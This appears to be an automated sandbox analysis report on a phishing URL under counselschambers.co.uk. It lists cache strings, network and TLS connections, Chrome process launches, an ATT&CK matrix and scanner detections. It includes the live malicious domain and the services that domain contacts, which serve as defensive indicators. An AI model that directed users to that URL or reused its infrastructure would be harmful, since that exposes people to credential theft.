Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1e8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1ea.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1ec.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1ee.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f1.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f4.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f5.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1f7.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f3-1f1ff.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f4-1f1f2.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1e6.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1ea.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1eb.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1ec.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1ed.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f0.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f1.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f7.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1f9.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1fc.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f5-1f1fe.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f6-1f1e6.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f7-1f1ea.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f7-1f1f4.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f7-1f1f8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f7-1f1fa.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f7-1f1fc.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1e6.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1e7.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1e8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1e9.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ea.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ec.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ee.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f0.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f1.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f2.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f3.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f4.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f7.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1f9.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1fb.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1fe.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1ff.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1e9.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1ec.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1ed.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1ef.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f1.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f2.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f3.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f4.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f7.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1f9.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1fb.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1fc.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f9-1f1ff.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1e6.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1ec.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1f8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1fe.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1ff.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1e6.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1e8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1ea.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1f3.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fb-1f1fa.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fc-1f1f8.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fd-1f1f0.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fe-1f1ea.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ff-1f1e6.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ff-1f1f2.svg
Source: chromecache_79.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ff-1f1fc.svg
Source: chromecache_98.3.dr, chromecache_79.3.dr	String found in binary or memory: https://code.jquery.com/jquery-3.6.0.min.js
Source: chromecache_74.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_84.3.dr	String found in binary or memory: https://github.com/jackocnr/intl-tel-input.git
Source: chromecache_74.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_80.3.dr, chromecache_75.3.dr	String found in binary or memory: https://ipinfo.io/missingauth
Source: chromecache_86.3.dr	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: chromecache_91.3.dr	String found in binary or memory: https://tools.ietf.org/html/rfc9110#section-15.5.1

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.70.234:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.253.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.132:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.168.191:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.44:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49767 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir4536_1069746750

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir4536_1069746750

Jump to behavior

Source: classification engine

Classification label: mal72.phis.win@22/44@32/18

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6205956424128409629,15682389444438876750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://case-id-1000228259003.counselschambers.co.uk/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6205956424128409629,15682389444438876750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2108 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://case-id-1000228259003.counselschambers.co.uk/	100%	Avira URL Cloud	malware

Source	Detection	Scanner	Label	Link
https://case-id-1000228259003.counselschambers.co.uk/index-5b6c678b.css	100%	Avira URL Cloud	malware
https://case-id-1000228259003.counselschambers.co.uk/banner-b1482d4c.webp	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
ipapi.co	172.67.69.226	true	false	high
scontent.xx.fbcdn.net	157.240.253.1	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www.google.com	142.250.185.132	true	false	high
case-id-1000228259003.counselschambers.co.uk	104.21.70.234	true	true	unknown
pickoutsourcing.com	104.21.64.1	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
static.xx.fbcdn.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://case-id-1000228259003.counselschambers.co.uk/banner-b1482d4c.webp	false	Avira URL Cloud: malware	unknown
https://case-id-1000228259003.counselschambers.co.uk/case-support.html	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.js	false		high
https://cdn.jsdelivr.net/npm/intl-tel-input@17.0.19/build/js/intlTelInput.min.js	false		high
https://case-id-1000228259003.counselschambers.co.uk/index-5b6c678b.css	false	Avira URL Cloud: malware	unknown
https://cdn.jsdelivr.net/npm/react/umd/react.production.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=QOCi1PcM%2F6keB0jh53d%2BExEjRjDyzXZ45XcvpHxYXJaLg3x55x7BYDbxjxeiv9yIqTpxWUynGHRoxWPqb5I70yrcbr%2BC7keiQ5hkmrWxNCwY7FAqPa1YMA5mhZSxh4%2BGVSIMxnTg	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/y5/r/juHXA8pRbU4.png?_nc_eui2=AeGYPh0Yw0hm06jC3mdd5o4pqL-BzkD0hYqov4HOQPSFiuhqifH663RsjfKIYI5RkcrWYAJhnyRtt5m9gJlVNKSW	false		high
https://cdn.jsdelivr.net/npm/react-bootstrap@next/dist/react-bootstrap.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1fa-1f1f8.svg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ipinfo.io/missingauth	chromecache_80.3.dr, chromecache_75.3.dr	false	high
https://tools.ietf.org/html/rfc9110#section-15.5.1	chromecache_91.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ec-1f1f3.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1e8.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e6-1f1ea.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1ff.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1f3.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1f4.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1fc.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f2-1f1e6.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e7-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ea-1f1f7.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1ed.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f1-1f1f8.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ee-1f1f6.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1f8-1f1fe.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ed-1f1f3.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1e8-1f1ff.svg	chromecache_79.3.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/twemoji/14.0.2/svg/1f1ec-1f1ed.svg	chromecache_79.3.dr	false	high
